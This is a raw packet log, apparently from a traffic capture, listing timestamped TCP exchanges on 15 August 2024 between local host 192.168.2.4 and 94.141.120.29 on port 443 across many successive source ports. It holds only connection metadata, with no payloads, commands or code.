Aug 15, 2024 08:10:50.763940096 CEST	443	50520	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.770364046 CEST	50521	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.770387888 CEST	443	50521	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.770457029 CEST	50521	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.778758049 CEST	50521	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.778768063 CEST	443	50521	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.778820992 CEST	443	50521	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.782866001 CEST	50522	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.782872915 CEST	443	50522	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.782931089 CEST	50522	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.792419910 CEST	50522	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.792429924 CEST	443	50522	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.792675018 CEST	443	50522	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.796782970 CEST	50523	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.796796083 CEST	443	50523	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.796852112 CEST	50523	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.805953026 CEST	50523	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.805963993 CEST	443	50523	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.806215048 CEST	443	50523	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.810398102 CEST	50524	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.810405970 CEST	443	50524	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.810465097 CEST	50524	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.819900036 CEST	50524	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.819911003 CEST	443	50524	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.820173025 CEST	443	50524	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.824187040 CEST	50525	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.824194908 CEST	443	50525	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.824249029 CEST	50525	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.832323074 CEST	50525	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.832333088 CEST	443	50525	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.832618952 CEST	443	50525	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.836683989 CEST	50526	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.836690903 CEST	443	50526	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.836755991 CEST	50526	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.845443010 CEST	50526	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.845452070 CEST	443	50526	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.845712900 CEST	443	50526	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.850435972 CEST	50527	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.850455999 CEST	443	50527	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.850502014 CEST	50527	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.868865967 CEST	50527	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.868884087 CEST	443	50527	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.869168043 CEST	443	50527	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.874603987 CEST	50528	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.874685049 CEST	443	50528	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.874768972 CEST	50528	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.910257101 CEST	50528	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.910330057 CEST	443	50528	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.910511971 CEST	443	50528	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.916857958 CEST	50529	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.916938066 CEST	443	50529	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.917237043 CEST	50529	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.925437927 CEST	50529	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.925512075 CEST	443	50529	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.925748110 CEST	443	50529	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.930068016 CEST	50530	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.930147886 CEST	443	50530	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.930223942 CEST	50530	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.938710928 CEST	50530	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.938796997 CEST	443	50530	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.939028025 CEST	443	50530	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.944227934 CEST	50531	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.944307089 CEST	443	50531	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.944415092 CEST	50531	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.954787016 CEST	50531	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.954864025 CEST	443	50531	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.955110073 CEST	443	50531	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.961487055 CEST	50532	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.961565018 CEST	443	50532	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.961661100 CEST	50532	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.983925104 CEST	50532	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.983990908 CEST	443	50532	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.984241962 CEST	443	50532	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.991864920 CEST	50533	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:50.991945028 CEST	443	50533	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:50.992048979 CEST	50533	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.016527891 CEST	50533	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.016587019 CEST	443	50533	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.016686916 CEST	443	50533	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.024607897 CEST	50534	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.024687052 CEST	443	50534	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.024786949 CEST	50534	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.039817095 CEST	50534	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.039887905 CEST	443	50534	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.040146112 CEST	443	50534	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.046220064 CEST	50535	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.046298981 CEST	443	50535	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.047997952 CEST	50535	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.059151888 CEST	50535	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.059251070 CEST	443	50535	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.059443951 CEST	443	50535	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.063730001 CEST	50536	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.063807964 CEST	443	50536	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.063890934 CEST	50536	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.078403950 CEST	50536	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.078510046 CEST	443	50536	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.078772068 CEST	443	50536	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.082971096 CEST	50537	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.083051920 CEST	443	50537	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.083125114 CEST	50537	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.092010975 CEST	50537	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.092082024 CEST	443	50537	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.092328072 CEST	443	50537	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.096576929 CEST	50538	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.096654892 CEST	443	50538	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.096746922 CEST	50538	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.110991955 CEST	50538	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.111063957 CEST	443	50538	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.111298084 CEST	443	50538	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.116668940 CEST	50539	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.116746902 CEST	443	50539	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.116833925 CEST	50539	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.130342007 CEST	50539	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.130419016 CEST	443	50539	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.130665064 CEST	443	50539	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.134928942 CEST	50540	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.135009050 CEST	443	50540	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.135082960 CEST	50540	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.144589901 CEST	50540	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.144663095 CEST	443	50540	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.144772053 CEST	443	50540	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.151180983 CEST	50541	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.151262045 CEST	443	50541	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.151351929 CEST	50541	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.175237894 CEST	50541	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.175306082 CEST	443	50541	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.175518036 CEST	443	50541	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.181451082 CEST	50542	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.181530952 CEST	443	50542	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.181827068 CEST	50542	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.193141937 CEST	50542	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.193216085 CEST	443	50542	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.193449020 CEST	443	50542	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.200098038 CEST	50543	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.200176954 CEST	443	50543	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.200304985 CEST	50543	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.215138912 CEST	50543	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.215214014 CEST	443	50543	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.215464115 CEST	443	50543	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.223901033 CEST	50544	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.223980904 CEST	443	50544	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.224159002 CEST	50544	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.235475063 CEST	50544	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.235549927 CEST	443	50544	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.235661983 CEST	443	50544	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.247842073 CEST	50545	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.247921944 CEST	443	50545	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.248183966 CEST	50545	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.269304037 CEST	50545	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.269376993 CEST	443	50545	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.269612074 CEST	443	50545	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.280066013 CEST	50546	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.280144930 CEST	443	50546	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.280297995 CEST	50546	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.291874886 CEST	50546	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.291944981 CEST	443	50546	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.292171001 CEST	443	50546	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.297552109 CEST	50547	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.297629118 CEST	443	50547	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.305427074 CEST	50547	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.313493013 CEST	50547	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.313560009 CEST	443	50547	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.313743114 CEST	443	50547	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.321387053 CEST	50548	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.321465969 CEST	443	50548	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.329382896 CEST	50548	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.337492943 CEST	50548	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.337568998 CEST	443	50548	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.337771893 CEST	443	50548	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.345433950 CEST	50549	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.345511913 CEST	443	50549	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.353512049 CEST	50549	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.361505985 CEST	50549	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.361581087 CEST	443	50549	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.361820936 CEST	443	50549	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.369527102 CEST	50550	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.369606018 CEST	443	50550	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.377516031 CEST	50550	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.383207083 CEST	50550	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.383272886 CEST	443	50550	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.383371115 CEST	443	50550	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.388591051 CEST	50551	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.388670921 CEST	443	50551	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.389611006 CEST	50551	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.401483059 CEST	50551	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.401552916 CEST	443	50551	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.401659012 CEST	443	50551	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.406826019 CEST	50552	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.406904936 CEST	443	50552	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.407430887 CEST	50552	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.419280052 CEST	50552	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.419353008 CEST	443	50552	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.419567108 CEST	443	50552	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.423921108 CEST	50553	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.423999071 CEST	443	50553	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.424288034 CEST	50553	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.433096886 CEST	50553	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.433171034 CEST	443	50553	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.433434010 CEST	443	50553	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.438074112 CEST	50554	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.438152075 CEST	443	50554	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.438245058 CEST	50554	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.448467016 CEST	50554	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.448561907 CEST	443	50554	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.448682070 CEST	443	50554	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.453237057 CEST	50555	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.453315973 CEST	443	50555	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.453610897 CEST	50555	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.462193966 CEST	50555	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.462236881 CEST	443	50555	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.462472916 CEST	443	50555	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.466746092 CEST	50556	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.466859102 CEST	443	50556	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.466943026 CEST	50556	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.476841927 CEST	50556	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.476916075 CEST	443	50556	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.477148056 CEST	443	50556	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.481606960 CEST	50557	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.481705904 CEST	443	50557	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.482069016 CEST	50557	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.491251945 CEST	50557	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.491328955 CEST	443	50557	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.491422892 CEST	443	50557	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.496364117 CEST	50558	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.496443033 CEST	443	50558	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.496567965 CEST	50558	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.507441998 CEST	50558	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.507498980 CEST	443	50558	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.507725000 CEST	443	50558	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.512196064 CEST	50559	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.512275934 CEST	443	50559	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.513633966 CEST	50559	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.523107052 CEST	50559	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.523180008 CEST	443	50559	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.523472071 CEST	443	50559	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.527983904 CEST	50560	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.528016090 CEST	443	50560	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.529484987 CEST	50560	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.539144993 CEST	50560	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.539159060 CEST	443	50560	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.539268017 CEST	443	50560	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.545372009 CEST	50561	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.545397997 CEST	443	50561	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.545619011 CEST	50561	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.557686090 CEST	50561	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.557698965 CEST	443	50561	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.557878971 CEST	443	50561	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.562117100 CEST	50562	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.562134981 CEST	443	50562	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.562510967 CEST	50562	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.573367119 CEST	50562	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.573379993 CEST	443	50562	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.573611021 CEST	443	50562	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.588021040 CEST	50563	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.588047028 CEST	443	50563	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.588140011 CEST	50563	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.599488974 CEST	50563	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.599502087 CEST	443	50563	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.599773884 CEST	443	50563	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.605407953 CEST	50564	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.605432987 CEST	443	50564	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.605566025 CEST	50564	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.617388964 CEST	50564	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.617398977 CEST	443	50564	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.617644072 CEST	443	50564	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.622579098 CEST	50565	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.622590065 CEST	443	50565	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.622787952 CEST	50565	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.632850885 CEST	50565	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.632860899 CEST	443	50565	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.633095026 CEST	443	50565	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.637633085 CEST	50566	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.637641907 CEST	443	50566	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.637784958 CEST	50566	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.649367094 CEST	50566	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.649377108 CEST	443	50566	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.649622917 CEST	443	50566	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.657367945 CEST	50567	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.657387972 CEST	443	50567	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.657718897 CEST	50567	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.666950941 CEST	50567	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.666968107 CEST	443	50567	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.667202950 CEST	443	50567	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.671377897 CEST	50568	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.671394110 CEST	443	50568	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.673568010 CEST	50568	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.683434010 CEST	50568	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.683449984 CEST	443	50568	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.683691978 CEST	443	50568	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.688011885 CEST	50569	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.688019991 CEST	443	50569	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.688476086 CEST	50569	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.697984934 CEST	50569	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.697994947 CEST	443	50569	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.698292017 CEST	443	50569	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.702802896 CEST	50570	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.702810049 CEST	443	50570	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.702970028 CEST	50570	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.712498903 CEST	50570	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.712511063 CEST	443	50570	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.712687016 CEST	443	50570	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.718343019 CEST	50571	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.718362093 CEST	443	50571	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.718497038 CEST	50571	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.728585005 CEST	50571	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.728600979 CEST	443	50571	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.728735924 CEST	443	50571	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.733616114 CEST	50572	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.733624935 CEST	443	50572	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.733783007 CEST	50572	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.743324995 CEST	50572	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.743335009 CEST	443	50572	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.743585110 CEST	443	50572	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.751620054 CEST	50573	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.751637936 CEST	443	50573	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.753448963 CEST	50573	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.763155937 CEST	50573	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.763174057 CEST	443	50573	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.763401031 CEST	443	50573	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.767963886 CEST	50574	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.767976046 CEST	443	50574	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.769490957 CEST	50574	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.781374931 CEST	50574	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.781383038 CEST	443	50574	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.781630039 CEST	443	50574	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.786006927 CEST	50575	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.786019087 CEST	443	50575	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.786113977 CEST	50575	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.797368050 CEST	50575	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.797378063 CEST	443	50575	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.797646999 CEST	443	50575	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:51.802931070 CEST	50576	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:51.802956104 CEST	443	50576	94.141.120.29	192.168.2.4
